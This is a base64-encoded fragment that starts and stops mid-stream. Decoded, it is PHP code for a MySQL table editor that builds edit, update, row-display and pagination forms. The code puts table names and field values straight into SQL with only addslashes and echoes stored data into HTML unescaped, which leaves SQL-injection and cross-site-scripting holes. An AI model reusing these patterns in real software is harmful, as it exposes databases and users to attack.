xlY3Qgb25lIG9yIG1vcmUpPC90ZD4iOw0KICAgICAgICAgICBlY2hvIjx0ZD48c2VsZWN0IG5hbWU9J2Fy cmF5WyRpXVtdJyBzaXplPSczJyBtdWx0aXBsZT4iOw0KICAgICAgIH1lbHNley8vRW51bSBvbmUgdmFsdW Ugb25seQ0KICAgICAgICBlY2hvICI8dGQ+RW51bTwvdGQ+IjsNCiAgICAgICAgICAgZWNobyI8dGQ+PHNl bGVjdCBuYW1lPSdhcnJheVskaV0nPiI7DQogICAgICAgfQ0KICAgICAgIGZvcigkeT0wOyAkeTwkbnVtOy R5Kyspew0KICAgICAgIGVjaG8iPG9wdGlvbiB2YWx1ZT0kbm5ld3N0cmluZ1skeV0+JG5uZXdzdHJpbmdb JHldIjsNCiAgICAgICB9DQogICAgICAgIGVjaG8iPC9zZWxlY3Q+PC90ZD48L3RyPlxuIjsNCiAgICAvLy BFbmQgb2YgbmV3IGNvZGUgYmxvY2sgZm9yIHNldCBkcm9wIGRvd24NCiAgICAgIH1lbHNlew0KICAgICAg IGVjaG8iPHRkPiR0eXBlPC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPSdhcnJheVskaV0nIHNpem U9JyRmbGVuJyAvPjwvdGQ+PC90cj5cbiI7DQogICAgICB9DQogfQ0KIGVjaG8iPHRyPjx0ZD48aW5wdXQg Y2xhc3M9YnV0IHR5cGU9c3VibWl0IG5hbWU9J2FkZHJlYycgdmFsdWU9J0FkZCBSZWNvcmQnIC8+PC90ZD 5cbiI7DQogZWNobyI8dGQ+PGlucHV0IGNsYXNzPWJ1dCB0eXBlPXJlc2V0IG5hbWU9J3Jlc2V0JyB2YWx1 ZT0nUmVzZXQgRm9ybScgLz48L3RkPlxuIjsNCiBlY2hvIjwvdHI+IjsNCiBlY2hvIjwvdGFibGU+XG4iOw 0KIGVjaG8iPC9mb3JtPlxuIjsNCn0NCg0KDQovLyoqKioqKioqKioqKioqKioqKioqKkVkaXQgRm9ybSAq KioqKioqKioqKioqKioNCmZ1bmN0aW9uIGVkaXRmb3JtKCR0YWJsZW5hbWUsICRkYm5hbWUsICRyZXN1bH QsICRlZGl0LCAkcGssICRwdil7DQogICAgICAgICRyb3c9bXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCk7 DQogICAgICAgIGVjaG8iPGZvcm0gYWN0aW9uPSckYWN0aW9uJyAgbWV0aG9kPXBvc3Q+XG4iOw0KICAgIC AgICBlY2hvIjx0YWJsZSBib3JkZXI9MCB3aWR0aCA9JzEwMCUnIGFsaWduPSdjZW50ZXInPlxuIjsNCg0K ICAgICAgICAkZmxkcyA9IG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7DQogICAgICAgICRmaWVsZHMgPS BteXNxbF9saXN0X2ZpZWxkcygkZGJuYW1lLCAkdGFibGVuYW1lKTsNCiAgICAgICAgZWNobyI8aW5wdXQg dHlwZT1oaWRkZW4gbmFtZT10YWJsZW5hbWUgdmFsdWU9JyR0YWJsZW5hbWUnIC8+XG4iOw0KDQogICAgIC AgIGVjaG8iPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9J2RibmFtZScgdmFsdWU9JyRkYm5hbWUnIC8+XG4i Ow0KICAgICAgICBlY2hvIjx0cj4iOw0KICAgICAgICAkbXhsZW4gPSA4MDsvL21heCB3aWR0aCBvZiB0aG UgZm9ybSBmaWVsZHMNCiAgICAgICAgZm9yKCRpPTA7ICRpIDwgJGZsZHM7ICRpKyspew0KICAgICAgICAk Zm5hbWU9bXlzcWxfZmllbGRfbmFtZSgkZmllbGRzLCAkaSk7DQogICAgICAgICAgICAgICAgZWNobyAiPH RoPiRmbmFtZSI7DQogICAgICAgICAgICAgICAgICRmbGVuID0gbXlzcWxfZmllbGRfbGVuKCRyZXN 1bHQsICRpKTsvL2xlbmd0aCBvZiB0aGUgZmllbGQNCiAgICAgICAgICAgICAgICAkbnNsYXNoID0gU3Rya XBTbGFzaGVzKCRyb3dbJGldKTsNCiAgICAgICAgLy8gU3RhcnQgb2YgbmV3IGNvZGUgZm9yIHNldCBkcm9 wIGRvd24NCiAgICAgICRuZXdzcWwgPSAic2hvdyBjb2x1bW5zIGZyb20gJHRhYmxlbmFtZSBsaWtlICclI i4kZm5hbWUuIiciOw0KICAgICAgJG5ld3Jlc3VsdCA9IGV4ZXF1ZXJ5KCRuZXdzcWwsICR0YWJsZW5hbWU sICRkYm5hbWUpOw0KICAgICAgJGFycj1teXNxbF9mZXRjaF9hcnJheSgkbmV3cmVzdWx0KTsNCiAgICAvL yBFbmQgb2YgbmV3IGNvZGUgYmxvY2sgZm9yIHNldCBkcm9wIGRvd24NCg0KICAgICAgICAgICAgICAgIGl mKCRmbGVuID4gJG14bGVuKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICRyd3M9ICRmbGVuLyRteGxlb jsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJHJ3cz4xMCl7DQogICAgICAgICAgICA gICAgICAgICAgICAgICAgICAgICRyd3M9MTA7IC8vbWF4IGxlbmd0aCBvZiB0ZXh0YXJlYQ0KICAgICAgI CAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyI8dGQ+PHRleHRhcmV hIG5hbWU9J2FycmF5WyRpXScgcm93cz0kcndzIGNvbHM9JG14bGVuPiRuc2xhc2g8L3RleHRhcmVhPjwvd GQ+PC90cj5cbiI7DQovLyBTdGFydCBvZiBuZXcgY29kZSBmb3Igc2V0IGRyb3AgZG93bg0KICAgICAgICA gIH1lbHNlaWYgKHN0cm5jbXAoJGFyclsxXSwnc2V0JywzKT09MCB8fCBzdHJuY21wKCRhcnJbMV0sJ2Vud W0nLDQpPT0wKXsgIC8vIFdlIGhhdmUgYSBmaWVsZCB0eXBlIG9mIHNldCBvciBlbnVtDQogICAgICAgICA gICRudW09c3Vic3RyX2NvdW50KCRhcnJbMV0sJywnKSArIDE7ICAvLyBjb3VudCB0aGUgbnVtYmVyIG9mI GVudHJpZXMNCiAgICAgICAgICAgJHBvcz1zdHJwb3MoJGFyclsxXSwnKCcgKTsgLy9maW5kIHRoZSBwb3N pdGlvbiBvZiAnKCcNCiAgICAgICAgICAgJG5ld3N0cmluZz1zdWJzdHIoJGFyclsxXSwkcG9zKzEpOyAgL y8gZ2V0IHJpZCBvZiB0aGUgJz8/PygnDQogICAgICAgICAgICRzbmV3c3RyaW5nPXN0cl9yZXBsYWNlKCc pJywnJywkbmV3c3RyaW5nKTsgLy8gZ2V0IHJpZCBvZiB0aGUgbGFzdCAnKScNCiAgICAgICAgICAgJG5uZ XdzdHJpbmc9ZXhwbG9kZSgnLCcsJHNuZXdzdHJpbmcsJG51bSk7IC8vIHN0aWNrIGludG8gYW4gYXJyYXk NCiAgICAgICAgICAgaWYoc3RybmNtcCgkYXJyWzFdLCdzZXQnLDMpPT0wICl7Ly9TZXRzIGNhbiBoYXZlI GNvbWJpbmF0aW9ucyBvZiB2YWx1ZXMNCiAgICAgICAgICAgICAgIGVjaG8iPHRkPjxzZWxlY3QgbmFtZT0 nYXJyYXlbJGldW10nIG11bHRpcGxlIHNpemU9JzMnPiI7DQogICAgICAgICAgIH1lbHNley8vRW51bSBvb mUgdmFsdWUgb25seQ0KICAgICAgICAgICAgICAgZWNobyI8dGQ+PHNlbGVjdCBuYW1lPSdhcnJheVskaV0 nPiI7DQogICAgICAgICAgIH0NCiAgICAgICAgICAgJG5zZWw9ZXhwbG9kZSgiLCIsJG5zbGFzaCk7DQogI CAgICAgICAgZm9yKCR5PTA7ICR5PCRudW07JHkrKyl7DQogICAgICAgICAgICAgICAgLy9nZXRlYWNoIHZ hbHVlICdhLGIsYycNCiAgICAgICAgICAgICAgICAkc2VsPSIiOw0KICAgICAgICAgICAgICAgIGZvcigkZ
T0wOyAkZTxjb3VudCgkbnNlbCk7JGUrKyl7DQogICAgICAgICAgICAgICAgICAgIGlmKCRubmV3c3RyaW5 nWyR5XT09IiciLiRuc2VsWyRlXS4iJyIpew0KICAgICAgICAgICAgICAgICAgICAgICAgJHNlbD0ic2VsZ WN0ZWQiOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICA gICAgIGVjaG8iPG9wdGlvbiB2YWx1ZT0kbm5ld3N0cmluZ1skeV0gJHNlbD4kbm5ld3N0cmluZ1skeV0iO w0KICAgICAgICAgICB9DQogICAgICAgICAgICBlY2hvIjwvc2VsZWN0PjwvdGQ+PC90cj5cbiI7DQovLyB FbmQgb2YgbmV3IGNvZGUgYmxvY2sgZm9yIHNldCBkcm9wIGRvd24NCg0KDQogICAgICAgIH1lbHNlew0KI CAgICAgICAgICAgICAgICAgICAgICAgZWNobyI8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPSdhcnJheVs kaV0nIHNpemU9JyRmbGVuJyB2YWx1ZT0nJG5zbGFzaCcgLz48L3RkPjwvdHI+XG4iOw0KICAgICAgICAgI CAgICAgIH0NCiAgICAgICAgICAgICAgICBmb3IoJGYgPTA7ICRmPCBjb3VudCgkcGspOyRmKyspew0KICA gICAgICAgICAgICAgICAgICAgICAgZWNobyI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wa1skZl0gdmFsd WU9JyRwa1skZl0nIC8+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8iPGlucHV0IHR5cGU9aGl kZGVuIG5hbWU9cHZbJGZdIHZhbHVlPSckcHZbJGZdJyAvPlxuIjsNCiAgICAgICAgICAgICAgICB9DQogI CAgICAgIH0NCiAgICAgICAgZWNobyI8dHI+PHRkPjxpbnB1dCBjbGFzcz1idXQgdHlwZT1zdWJtaXQgbmF tZT0nZWRpdHJlYycgdmFsdWU9J1VwZGF0ZScgLz48L3RkPlxuIjsNCiAgICAgICAgZWNobyI8dGQ+PGluc HV0IGNsYXNzPWJ1dCB0eXBlPXJlc2V0IG5hbWU9J3Jlc2V0JyB2YWx1ZT0nUmVzZXQgRm9ybScgLz48L3R kPlxuIjsNCiAgICAgICAgZWNobyI8L3RyPiI7DQogICAgICAgIGVjaG8iPC90YWJsZT5cbiI7DQogICAgI CAgIGVjaG8iPC9mb3JtPlxuIjsNCn0NCi8vKioqKioqKioqKioqKioqKioqKioqKioqRWRpdCBSZWNvcmQ qKioqKioqKioqKioqKioqKioqKioqKioqDQpmdW5jdGlvbiBlZGl0cmVjKCRkYm5hbWUsICR0YWJsZW5hb WUsICRwaywgJHB2LCAkYXJyYXkpew0KDQogICAgICAgIC8vJHJlc3VsdCA9IEBteXNxbF9xdWVyeSggIlN lbGVjdCAqIGZyb20gJHRhYmxlbmFtZSIgKTsNCiAgICAkcmVzdWx0ID0gZXhlcXVlcnkoIlNlbGVjdCAqI GZyb20gJHRhYmxlbmFtZSIsICR0YWJsZW5hbWUsICRkYm5hbWUpOw0KICAgICAgICAkZmxkcyA9IG15c3F sX251bV9maWVsZHMoJHJlc3VsdCk7DQogICAgICAgICRmaWVsZHMgPSBteXNxbF9saXN0X2ZpZWxkcygkZ GJuYW1lLCAkdGFibGVuYW1lKTsNCg0KLy9CdWlsZCBRdWVyeQ0KICAgICAgICAgICAkcXJ5PSIiOw0KICA gICRxdWVyeSA9ICJVUERBVEUgJHRhYmxlbmFtZSBzZXQgIjsNCiAgICAgICAgZm9yICgkeCA9MDsgJHggP CAkZmxkczsgJHgrKyl7DQogICAgICAgICAgICAgICAgJGZpZSA9IG15c3FsX2ZpZWxkX25hbWUoJGZpZWx kcywgJHggKTsNCiAgICAgICAgLy8gU0VUIGFuZCBFTlVNDQogICAgICAgICBpZihpc19hcnJheSgkYXJyY XlbJHhdKSl7DQogICAgICAgICAgICAkbXZhbD0iIjsNCiAgICAgICAgICAgIGZvcigkbT0wOyAkbSA8IGN vdW50KCRhcnJheVskeF0pOyAkbSsrKXsNCiAgICAgICAgICAgICAgICBpZigkbSsxID09IGNvdW50KCRhc nJheVskeF0pKXsNCiAgICAgICAgICAgICAgICAgICAgJG12YWwuPSBBZGRTbGFzaGVzKCRhcnJheVskeF1 bJG1dKTsNCiAgICAgICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICAgICAgJG12YWwuPSBBZ GRTbGFzaGVzKCRhcnJheVskeF1bJG1dKS4iLCI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICA gICAgICRmdmFsID0gJG12YWw7DQogICAgICAgICAgICB9DQogICAgICAgIH1lbHNlew0KICAgICAgICAgI CAgICAgICAgICAkZnZhbCA9IEFkZFNsYXNoZXMoJGFycmF5WyR4XSk7DQogICAgICAgIH0NCiAgICAgICA gLy8qKioqKioqKioqKioqKioqKioqKioqKioqKg0KICAgICAgICAgICAgICAgIC8vJGZ2YWwgPSBBZGRTb GFzaGVzKCRhcnJheVskeF0pOw0KICAgICAgICAgICAgICAgICRxcnkgLj0gIiRmaWUgPSAnJGZ2YWwnIjs NCiAgICAgICAgICAgICAgICBpZiAoJHggPCAkZmxkcy0xKXsNCiAgICAgICAgICAgICAgICAgICAgICAgI CRxcnkuPSAiLCAiOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICAkd2hyID0gYnV pbGR3aHIoICRwaywgJHB2KTsNCiAgICAgICAgJHdociA9U3RyaXBTbGFzaGVzKCR3aHIpOw0KICAgICAgI CAkcXVlcnkgLj0gIiRxcnkiOw0KICAgICAgICAkcXVlcnkgLj0gIiB3aGVyZSAkd2hyIjsNCg0KICAgICR yZXN1bHQ9ZXhlcXVlcnkoJHF1ZXJ5LCAkdGFibGVuYW1lLCAkZGJuYW1lKTsNCiAgICAgICAgaWYoJHJlc 3VsdCl7DQogICAgICAgICAgICAgICAgcmV0dXJuICRyZXN1bHQ7DQogICAgICAgIH1lbHNlew0KICAgICA gICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KfQ0KLy8qKioqKioqKioqKioqKioqKiogT nVtYmVyIG9mIFByaW1hcnkgS2V5cyAqKioqKioqKioqKioqKioqKioqKioqKg0KZnVuY3Rpb24gbnVtcGs oJHJlc3VsdCl7DQogICAgICAgICR6ID0wOw0KICAgICAgICBmb3IgKCRpID0gMDsgJGkgPCAkZmxkczsgJ GkrKykgew0KICAgICAgICAgICAgICAgIC8vRmluZCB0aGUgcHJpbWFyeSBrZXkNCiAgICAgICAgICAgICA gICAkZmxhZ3N0cmluZyA9IG15c3FsX2ZpZWxkX2ZsYWdzICgkcmVzdWx0LCAkaSk7DQogICAgICAgICAgI CAgICAgaWYoZXJlZ2koInByaW1hcnkiLCRmbGFnc3RyaW5nICkpew0KICAgICAgICAgICAgICAgICAgICA gICAgJHorKzsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICR6Ow0Kf Q0KLy8qKioqKioqKioqKioqKioqKioqKlNpemUgZmllbGQqKioqKioqKioqKioqKioqKg0KZnVuY3Rpb24 gZmllbGRmb3Jtc2l6ZSgkZnQsICRpLCAkbCl7DQogICAgICAgICRmdD0gdHJpbShzdHJ0b3VwcGVyKCRmd CkpOw0KICAgICAgICBpZigkZnQgPT0iREFURSIgfHwgJGZ0PT0iVElNRSIgfHwgJGZ0PT0gIkRBVEVUSU1 FIiApew0KICAgICAgICB9ZWxzZWlmKCAkZnQ9PSJUSU5ZVEVYVCIgfHwgJGZ0PT0iQkxPQiIgfHwgJGZ0P T0iVEVYVCIgfHwgJGZ0ID09Ik1FRElVTUJMT0IiKXsNCiAgICAgICAgICAgICAgICBlY2hvIjxpbnB1dCB 0eXBlPWhpZGRlbiBuYW1lPSdsZW5nWyRpXScgdmFsdWU9JGw+IjsNCiAgICAgICAgfWVsc2VpZigkZnQ9P SJNRURJVU1URVhUIiB8fCAkZnQ9PSJMT05HQkxPQiJ8fCAkZnQ9PSJMT05HVEVYVCIgfHwgJGZ0PT0iVEl OWUJMT0IiKXsNCiAgICAgICAgICAgICAgICBlY2hvIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSdsZW5nW yRpXScgdmFsdWU9JGw+IjsNCiAgICAgICAgfWVsc2VpZigkZnQ9PSJJTlQiIHx8ICRmdD09IlRJTllJTlQ ifHwgJGZ0PT0iU01BTExJTlQifHwgJGZ0PT0iTUVESVVNSU5UInx8ICRmdD09IkJJR0lOVCIgfHwgJGZ0P
T0iSU5URUdFUiIpew0KICAgICAgICAgICAgICAgIGVjaG8iPGlucHV0IHR5cGU9dGV4dCBuYW1lPSdsZW5 nWyRpXScgc2l6ZT01ICB2YWx1ZT0kbD4iOw0KICAgICAgICB9ZWxzZWlmKCRmdD09IllFQVIiICl7DQogI CAgICAgICAgICAgICAgZWNobyI8c2VsZWN0IG5hbWU9J2xlbmdbJGldJz4iOw0KICAgICAgICAgICAgICA gIGVjaG8iPG9wdGlvbiB2YWx1ZT0nNCc+NCI7DQogICAgICAgICAgICAgICAgZWNobyI8b3B0aW9uIHZhb HVlPScyJz4yIjsNCiAgICAgICAgICAgICAgICBlY2hvIjwvc2VsZWN0PlxuIjsNCiAgICB9ZWxzZWlmKCR mdD09IlNFVCJ8fCAkZnQ9PSJFTlVNIil7DQogICAgICAgIGVjaG8iPGlucHV0IHR5cGU9dGV4dCBuYW1lP SdsZW5nWyRpXScgdGl0bGU9J3ZhbHVlcyBlZyBcImFcIiwgXCJiXCIsIFwiY1wiJyB2YWx1ZT0nJyAvPiI 7DQogICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8iPGlucHV0IHR5cGU9dGV4dCBuYW1lP SdsZW5nWyRpXScgc2l6ZT01IHZhbHVlPSRsIC8+XG4iOw0KICAgICAgICB9DQp9DQoNCi8vKioqKioqKio qKioqKioqKioqKioqKioqKioqKioqRGlzcGxheSBSb3cgKioqKioqKioqKioqKioqKioqKioqKioqKioqK ioqDQpmdW5jdGlvbiBkaXNwbGF5cm93KCRkYm5hbWUsICR0YmwsICRwaywgJHBrZmllbGQsICRjcGssICR yb3csICRmbGRzKXsNCiAgICAgICAgJHBrZnM9IiI7DQogICAgICAgICRodj0iIjsNCiAgICAgICAgJGhmP SIiOw0KDQogICAgICAgIGlmKCRjcGsgPjAgJiYgIWVtcHR5KCRwa2ZpZWxkKSl7DQogICAgICAgICAgICA gICAgZm9yKCRhID0gMDsgJGEgPCAkY3BrOyAkYSsrKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICRma WVsZG4gPSAkcGtmaWVsZFskYV07DQogICAgICAgICAgICAgICAgICAgICAgICAkaGYgLj0gIjxpbnB1dCB 0eXBlPWhpZGRlbiBuYW1lPXBrWyRhXSB2YWx1ZT0nJHBrZmllbGRbJGFdJyAvPiI7DQogICAgICAgICAgI CAgICAgICAgICAgICAkaHYgLj0gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXB2WyRhXSB2YWx1ZT0nJHJ vd1skZmllbGRuXScgLz4iOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgfWVsc2V7IC8vTm8gUHJpb WFyeSBLZXkgc28gdXNlIGFsbCBmaWVsZHMNCiAgICAgICAgICAgICAgICAkZmllbGRzID0gbXlzcWxfbGl zdF9maWVsZHMoJGRibmFtZSwgJHRibCk7DQogICAgICAgICAgICAgICAgZm9yKCRiID0gMDsgJGIgPCAkZ mxkczsgJGIrKyl7DQogICAgICAgICAgICAgICAgICAgICAgICAkZmllID0gbXlzcWxfZmllbGRfbmFtZSg kZmllbGRzLCAkYiApOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGhmIC49ICI8aW5wdXQgdHlwZT1oa WRkZW4gbmFtZT1wa1skYl0gdmFsdWU9JyRmaWUnIC8+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICR odiAuPSAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cHZbJGJdIHZhbHVlPSckcm93WyRiXScgLz4iOw0KI CAgICAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBlY2hvIjx0cj5cbiI7DQogICAgICAgIC8 vZWRpdCBSZWNvcmQNCiAgICAgICAgZWNobyI8dGQ+PGZvcm0gYWN0aW9uPSckYWN0aW9uJyBtZXRob2Q9c G9zdD5cbiI7DQogICAgICAgIGVjaG8iPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZGJuYW1lIHZhbHVlPSc kZGJuYW1lJyAvPlxuIjsNCiAgICAgICAgZWNobyI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT10YWJsZW5hb WUgdmFsdWU9JyR0YmwnIC8+XG4iOw0KICAgICAgICBlY2hvIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPW5 wa2V5cyB2YWx1ZT0nJGNwaycgLz5cbiI7DQogICAgICAgIGVjaG8iJGhmIjsNCiAgICAgICAgZWNobyIka HYiOw0KICAgICAgICBlY2hvIjxpbnB1dCBjbGFzcz1zbWwgdHlwZT1zdWJtaXQgbmFtZT1lZGl0IHZhbHV lPSdFZGl0IFJlY29yZCcgLz5cbiI7DQogICAgICAgIGVjaG8iPC9mb3JtPjwvdGQ+XG4iOw0KDQogICAgI CAgIC8vRGVsZXRlIHJlY29yZA0KICAgICAgICBlY2hvIjx0ZD48Zm9ybSBhY3Rpb249JyRhY3Rpb24nIG1 ldGhvZD1wb3N0PlxuIjsNCiAgICAgICAgZWNobyI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kYm5hbWUgd mFsdWU9JyRkYm5hbWUnIC8+XG4iOw0KICAgICAgICBlY2hvIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXR hYmxlbmFtZSB2YWx1ZT0nJHRibCcgLz5cbiI7DQogICAgICAgIGVjaG8iPGlucHV0IHR5cGU9aGlkZGVuI G5hbWU9bnVtIHZhbHVlPSckY3BrJyAvPlxuIjsNCiAgICAgICAgZWNobyIkaGYiOw0KICAgICAgIC BlY2hvIiRodiI7DQogICAgICAgIGVjaG8iPGlucHV0IGNsYXNzPXNtbGRlbCB0eXBlPXN1Ym1pdCBuYW1l PWRlbGV0ZSB2YWx1ZT0nRGVsZXRlIFJlY29yZCcgLz5cbiI7DQogICAgICAgIGVjaG8iPC9mb3JtPjwvdG Q+IjsNCg0KICAgICAgICAvL0Rpc3BsYXkgYWxsIHRoZSBjb2x1bW5zLg0KICAgICAgICBmb3IoJGNvbCA9 IDA7ICRjb2wgPCAkZmxkczsgJGNvbCArKyl7DQogICAgICAgICAgICAgICAgJG5zbGFzaCA9IFN0cmlwU2 xhc2hlcygkcm93WyRjb2xdKTsNCiAgICAgICAgICAgICAgICBlY2hvIjx0ZD4kbnNsYXNoPC90ZD4iOw0K ICAgICAgICB9DQogICAgICAgIGVjaG8iPC90cj4iOw0KDQp9DQovLyoqKioqKioqKioqKioqKioqKioqKi oqUmVtb3ZlIEFycmF5IENvcHkqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKg0KLy9yZW1vdmVz IGNvcGllcyBmcm9tIGFuIGFycmF5ICR4Lg0KDQpmdW5jdGlvbiByZW1vdmVhcnJheWNvcHkoJHgpew0KIC AgICAgICAkbGVuZz0gY291bnQoJHgpOw0KICAgICAgICBzb3J0KCR4KTsNCiAgICAgICAgJGZhcnI9YXJy YXkoKTsNCg0KICAgICAgICBmb3IgKCRpID0wOyAkaSA8ICRsZW5nOyAkaSsrKXsNCiAgICAgICAgICAgIC AgICAkZmxhZz1mYWxzZTsNCiAgICAgICAgICAgICAgICBmb3IgKCRzID0wOyAkcyA8IGNvdW50KCRmYXJy KTsgJHMrKyl7DQogICAgICAgICAgICAgICAgICAgICAgICBpZigkeFskaV09PSRmYXJyWyRzXSl7DQogIC AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmbGFnPXRydWU7DQogICAgICAgICAgICAgICAgICAg ICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGlmICgkZmxhZyA9PSBmYWxzZS l7DQogICAgICAgICAgICAgICAgICAgICAgICAkZmFycltjb3VudCgkZmFycildID0gJHhbJGldOw0KICAg ICAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gJGZhcnI7DQp9DQovLyoqKioqKi oqKioqKioqKioqKioqKioqPDwgcGFnZSBwb3NpdGlvbiA+PioqKioqKioqKioqKioqKioqKioqKioqKioq KioqKioqDQpmdW5jdGlvbiB3aGljaHBhZ2UoJG51bV9yb3dzLCAkcGFnZW1heCwgJHBnLCAkdGFibGVuYW 1lLCAkc2VhcmNodmFsKXsNCiAgICAgICAgJHBncyA9ICRudW1fcm93cy8kcGFnZW1heDsNCiAgICAgICAg JHBncz1jZWlsKCRwZ3MpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vcm91bmQgdXAgdGhlIG 51bWJlciBvZiBwYWdlcy4NCiAgICAgICAgZWNobyI8Zm9ybSBhY3Rpb249JyRhY3Rpb24nIGlkPSdyZWNz
cGFnZScgbWV0aG9kPSdwb3N0JyBuYW1lPSdyZWNzcGFnZSc+XG4iOw0KICAgIGVjaG8iVG90YWwgbnVtYm VyIG9mIHJlY29yZHMgJG51bV9yb3dzLCBkaXNwbGF5ZWQgb24gJHBncyBwYWdlcyBvZiBcbiI7DQogICAg ZWNobyI8aW5wdXQgdHlwZT0ndGV4dCcgIG5hbWU9J3BhZ2VtYXgnIHZhbHVlPSckcGFnZW1heCcgc2l6ZT 0nNCcgb25jaGFuZ2U9J2phdmFzY3JpcHQ6dGhpcy5mb3JtLnN1Ym1pdCgpOycgdGl0bGU9J1R5cGUgdGhl IG51bWJlciByZWNvcmRzIHRvIGRpc3BsYXkgb24gYSBwYWdlIHRoZW4gY2xpY2sgb3V0c2lkZSB0aGUgYm 94JyAvPiBcbiI7DQogICAgICAgIGVjaG8iPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc2VhcmNodmFs JyB2YWx1ZT0nJHNlYXJjaHZhbCcgIC8+XG4iOw0KICAgIGVjaG8iPGlucHV0IHR5cGU9J2hpZGRlbicgbm FtZT0ndGFibGVuYW1lJyB2YWx1ZT0nJHRhYmxlbmFtZScgIC8+XG4iOw0KICAgIGVjaG8icmVjb3JkcyBw ZXIgcGFnZS48L2Zvcm0+IFxuIjsNCiAgICAkcGFnZXNjcm9sPSIiOw0KICAgICRzdmFsPSIiOw0KICAgIC AgICAgIGlmKCRwZ3MgPjEpew0KICAgICAgICAgICAgJHBhZ2VzY3JvbD0iPGRpdiBjbGFzcz0ncGFnZWNv dW50Jz5cbiI7DQogICAgICAgICAgICAgICAgICAgICAgICAkbnh0PSRwZysxOw0KICAgICAgICAgICAgJG JrPSRwZy0xOw0KICAgICAgICAgICAgJGxzdD0kcGdzOw0KICAgICAgICAgICAgJGVuZD0kbHN0LTE7DQog ICAgICAgICAgICAkc2hvd3A9JHBnKzE7DQogICAgICAgICAgIGlmKCRzZWFyY2h2YWwgIT0iIil7DQogIC AgICAgICAgICAkc3ZhbD0iJmFtcDtzZWFyY2h2YWw9JHNlYXJjaHZhbCI7DQogICAgICAgICAgIH0NCiAg ICAgICAgICAgJHBhZ2VzY3JvbCAuPSAiPGZvcm0gbmFtZT0ncGFnZXMnIGlkPSdwYWdlcycgYWN0aW9uPS ckYWN0aW9uJyBtZXRob2Q9J2dldCc+XG4iOw0KICAgICAgICAgICAgaWYoJHBnPj0xKXsNCiAgICAgICAg ICAgICAgICAkcGFnZXNjcm9sIC49ICIgPGEgaHJlZj0nJGFjdGlvbj90YWJsZW5hbWU9JHRhYmxlbmFtZS ZhbXA7cGc9MCRzdmFsJyB0aXRsZT0nVG8gZmlyc3QgcGFnZSc+IDEgOjw8IDwvYT4gXG4iOw0KICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFnZXNjcm9sIC49ICIgPGEgaHJlZj0nJ2FjdGlvbic/dG FibGVuYW1lPSR0YWJsZW5hbWUmYW1wO3BnPSRiayRzdmFsJyB0aXRsZT0nQmFjayBvbmUgcGFnZSc+IDwg PC9hPiBcbiI7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICRwYWdlc2Nyb2wgLj 0gIjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwZycgdmFsdWU9JyRzaG93cCcgc2l6ZT0nNCcgb25jaGFu Z2U9J2phdmFzY3JpcHQ6dGhpcy5mb3JtLnN1Ym1pdCgpOycgdGl0bGU9J1R5cGUgYSBwYWdlIG51bWJlci B0aGVuIGNsaWNrIG91dHNpZGUgdGhlIGJveCcgLz5cbiI7DQogICAgICAgICAgICRwYWdlc2Nyb2wgLj0g IjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3BiYWNrJyB2YWx1ZT0ndHJ1ZScgIC8+XG4iOw0KICAgIC AgICAgICAkcGFnZXNjcm9sIC49ICI8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdzZWFyY2h2YWwnIHZh bHVlPSckc2VhcmNodmFsJyAgLz5cbiI7DQogICAgICAgICAgICRwYWdlc2Nyb2wgLj0gIjxpbnB1dCB0eX BlPSdoaWRkZW4nIG5hbWU9J3RhYmxlbmFtZScgdmFsdWU9JyR0YWJsZW5hbWUnICAvPlxuIjsNCg0KICAg ICAgICAgICBpZigkc2hvd3AgPCAkbHN0KXsNCiAgICAgICAgICAgICAgICAkcGFnZXNjcm9sIC49ICIgPG EgaHJlZj0nJ2FjdGlvbic/dGFibGVuYW1lPSR0YWJsZW5hbWUmYW1wO3BnPSRueHQkc3ZhbCcgdGl0bGU9 J05leHQgcGFnZSc+ID4gPC9hPiBcbiI7DQogICAgICAgICAgICAgICAgJHBhZ2VzY3JvbCAuPSAiIDxhIG 